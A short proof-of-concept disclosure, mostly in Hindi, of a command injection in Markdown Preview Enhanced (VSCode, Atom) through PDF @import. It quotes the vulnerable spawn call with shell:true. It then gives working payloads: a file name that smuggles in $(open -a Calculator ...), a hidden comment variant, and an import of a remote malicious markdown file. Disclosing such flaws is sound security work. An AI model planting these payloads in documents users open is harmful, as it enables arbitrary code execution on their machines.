
[PoC] Markdown Preview Enhanced (VSCode, Atom) में PDF आयात के माध्यम से कमांड इंजेक्शन
Markdown Preview Enhanced में PDF आयात के माध्यम से कमांड इंजेक्शन (VSCode, Atom)
Mume मार्कडाउन टूल लाइब्रेरी {shell: true} विकल्प के साथ spawn कमांड के उपयोग के कारण कमांड इंजेक्शन के लिए संवेदनशील थी। इससे हमलावर पीड़ित को VSCode या Atom का उपयोग करके विशेष रूप से तैयार मार्कडाउन फ़ाइल खोलने के लिए धोखा देकर मनमाना कोड निष्पादन प्राप्त कर सकता था। यह लाइब्रेरी VSCode और Atom दोनों के लिए Markdown Preview Enhanced प्लगइन को संचालित करती है।
संवेदनशील कोड स्निपेट:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
निम्नलिखित मार्कडाउन दस्तावेज़ एक हमलावर को मनमाना कमांड निष्पादित करने की अनुमति देता है:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
The following comment will be recognised by MPE as valid "@import" command:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
वैकल्पिक रूप से, पेलोड को बाहरी स्रोत से निष्पादित किया जा सकता है:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
